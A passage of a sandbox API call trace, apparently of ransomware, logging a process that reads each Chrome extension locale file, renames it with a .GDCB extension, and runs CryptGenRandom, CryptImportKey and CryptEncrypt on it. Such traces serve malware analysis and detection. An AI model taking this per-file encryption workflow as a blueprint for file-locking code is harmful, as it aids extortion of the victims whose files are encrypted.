Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.453] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.456] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.458] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xdd, lpOverlapped=0x0) returned 1 [0254.466] VirtualAlloc (lpAddress=0x0, dwSize=0xe0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.511] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0254.518] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.522] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.524] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.524] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.524] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.524] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.526] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.528] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.528] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.528] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.529] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.531] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782dc8) returned 1 [0254.531] CryptGetKeyParam (in: hKey=0x6782dc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.531] CryptEncrypt (in: hKey=0x6782dc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.532] GetLastError () returned 0x0 [0254.532] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.532] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.534] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782e48) returned 1 [0254.534] CryptGetKeyParam (in: hKey=0x6782e48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.534] CryptEncrypt (in: hKey=0x6782e48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.534] GetLastError () returned 0x0 [0254.534] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.534] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.536] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.539] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.542] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xec, lpOverlapped=0x0) returned 1 [0254.550] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.566] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0254.571] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.575] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.577] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.577] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.577] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.577] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.580] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.582] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.582] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.582] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.582] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0254.584] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782e88) returned 1 [0254.584] CryptGetKeyParam (in: hKey=0x6782e88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.584] CryptEncrypt (in: hKey=0x6782e88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.585] GetLastError () returned 0x0 [0254.585] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.585] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.587] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782b88) returned 1 [0254.587] CryptGetKeyParam (in: hKey=0x6782b88, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.587] CryptEncrypt (in: hKey=0x6782b88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.587] GetLastError () returned 0x0 [0254.587] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.587] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.588] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.591] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.594] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe6, lpOverlapped=0x0) returned 1 [0254.602] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.617] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0254.622] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.625] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.628] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.628] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.628] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.630] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.633] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.633] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.633] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.633] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.636] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782c48) returned 1 [0254.636] CryptGetKeyParam (in: hKey=0x6782c48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.636] CryptEncrypt (in: hKey=0x6782c48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.636] GetLastError () returned 0x0 [0254.636] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.636] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.638] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782cc8) returned 1 [0254.638] CryptGetKeyParam (in: hKey=0x6782cc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.638] CryptEncrypt (in: hKey=0x6782cc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.638] GetLastError () returned 0x0 [0254.638] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.638] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.639] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.642] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.645] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe4, lpOverlapped=0x0) returned 1 [0254.654] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.661] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lt\\messages.json.gdcb")) returned 1 [0254.666] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0254.669] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.671] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.672] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.672] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.672] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.676] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.677] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.677] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.677] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0254.679] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782d48) returned 1 [0254.679] CryptGetKeyParam (in: hKey=0x6782d48, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.679] CryptEncrypt (in: hKey=0x6782d48, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.679] GetLastError () returned 0x0 [0254.679] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.679] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.681] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6783048) returned 1 [0254.681] CryptGetKeyParam (in: hKey=0x6783048, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.681] CryptEncrypt (in: hKey=0x6783048, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.681] GetLastError () returned 0x0 [0254.681] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.681] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0254.683] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcd60000 [0254.686] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcd70000 [0254.689] ReadFile (in: hFile=0x470, lpBuffer=0xcd70000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcd70000*, lpNumberOfBytesRead=0x285ced8*=0xe9, lpOverlapped=0x0) returned 1 [0254.698] VirtualAlloc (lpAddress=0x0, dwSize=0xf0, flAllocationType=0x3000, flProtect=0x4) returned 0xce80000 [0254.706] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\lv\\messages.json.gdcb")) returned 1 [0254.711] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0254.714] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.717] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.717] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0254.717] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0254.717] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0254.720] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0254.722] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0254.722] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0254.722] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0254.722] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.725] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782948) returned 1 [0254.725] CryptGetKeyParam (in: hKey=0x6782948, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.725] CryptEncrypt (in: hKey=0x6782948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd40000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcd40000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0254.725] GetLastError () returned 0x0 [0254.725] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.725] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0254.727] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x6782bc8) returned 1 [0254.727] CryptGetKeyParam (in: hKey=0x6782bc8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0254.727] CryptEncrypt (in: hKey=0x6782bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcd50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcd50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0254.727] GetLastError () returned 0x0 [0254.727] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0254.727] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 